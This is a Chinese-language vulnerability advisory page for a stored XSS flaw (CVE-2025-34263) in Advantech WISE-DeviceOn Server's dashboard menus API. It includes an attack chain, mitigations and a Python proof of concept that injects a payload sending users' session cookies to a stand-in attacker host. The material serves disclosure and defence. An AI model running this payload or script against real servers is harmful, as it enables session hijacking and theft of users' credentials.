IPBUF安全漏洞报告
English
CVE-2025-34263 CVSS 5.4 中危

CVE-2025-34263 Advantech WISE-DeviceOn Server 存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34263
漏洞类型
存储型XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

存储型XSSCVE-2025-34263Advantech WISE-DeviceOnIoT设备管理平台会话劫持跨站脚本Web应用安全认证用户漏洞

漏洞概述

CVE-2025-34263是Advantech WISE-DeviceOn Server中的一个高危安全漏洞,存在于5.4版本之前的/rmm/v1/plugin-config/dashboards/menus API端点中。该漏洞属于存储型跨站脚本(Stored XSS)类型,由于系统在存储仪表板菜单配置数据时未对用户输入的label和path字段进行充分的HTML转义和清理,导致恶意脚本代码被永久存储在服务器端。当其他认证用户访问或交互受影响的仪表板时,存储的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取以及在用户权限范围内的未授权操作。攻击者利用此漏洞需要具备低权限的认证账号,并通过仪表板菜单配置功能注入恶意代码。由于payload存储在服务器端,攻击具有持久性,影响范围广泛。

技术细节

该漏洞的技术根源在于Advantech WISE-DeviceOn Server的插件配置模块在处理仪表板菜单数据时存在输入验证缺陷。具体来说,/rmm/v1/plugin-config/dashboards/menus端点接收的label和path参数在存储到数据库时未经过严格的HTML实体编码处理。当这些数据后续通过Web界面渲染展示时,浏览器将其作为HTML/JavaScript执行而非纯文本显示。攻击者可通过以下方式利用:1)使用低权限账号登录系统;2)构造包含恶意JavaScript代码的label或path值,如<img src=x onerror=alert(document.cookie)>;3)通过API或管理界面将恶意payload保存到仪表板配置中;4)当其他用户访问包含该菜单项的仪表板页面时,恶意脚本自动执行。由于系统未实施内容安全策略(CSP)或输出编码保护,攻击者可窃取用户会话cookie、伪造用户操作或进行进一步的内网渗透。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Advantech WISE-DeviceOn Server版本,确认版本低于5.4以确定漏洞存在
STEP 2
初始访问
攻击者获取系统低权限账号(如普通管理员或运维账号),通过正常认证流程登录系统
STEP 3
Payload构造
攻击者构造包含恶意JavaScript代码的XSS payload,可用于窃取Cookie、劫持会话或执行未授权操作
STEP 4
漏洞利用
通过/rmm/v1/plugin-config/dashboards/menus端点将恶意payload作为label或path参数值提交,payload被永久存储在数据库中
STEP 5
触发执行
当其他用户访问或查看包含该恶意菜单项的仪表板页面时,存储的JavaScript代码在其浏览器上下文中自动执行
STEP 6
攻击成功
恶意脚本窃取用户会话Cookie、敏感数据或执行攻击者预设的恶意操作,实现会话劫持或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-34263 Stored XSS PoC # Target: Advantech WISE-DeviceOn Server < 5.4 # Endpoint: /rmm/v1/plugin-config/dashboards/menus import requests import json import sys # Configuration TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/rmm/v1/auth/login" XSS_PAYLOAD = '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">' def exploit_stored_xss(): """Exploit stored XSS in dashboard menus endpoint""" # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } try: login_response = session.post(LOGIN_URL, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload into dashboard menu menu_url = f"{TARGET_URL}/rmm/v1/plugin-config/dashboards/menus" malicious_menu = { "label": XSS_PAYLOAD, "path": "/dashboard/malicious", "icon": "chart", "order": 1 } inject_response = session.post(menu_url, json=malicious_menu, timeout=10) if inject_response.status_code in [200, 201]: print("[+] XSS payload injected successfully") print(f"[+] Payload stored in menu ID: {inject_response.json().get('id')}") return True else: print(f"[-] Injection failed: {inject_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2025-34263 Stored XSS Exploitation") print("=" * 40) exploit_stored_xss()

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制对/rmm/v1/plugin-config/dashboards/menus端点的访问权限,仅允许受信任的管理员使用;2)实施Web应用防火墙(WAF)规则过滤恶意XSS payload;3)禁用或限制仪表板菜单的自定义功能;4)监控相关API端点的异常访问日志;5)提醒用户不要点击来源不明的仪表板链接;6)考虑临时禁用受影响功能模块直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表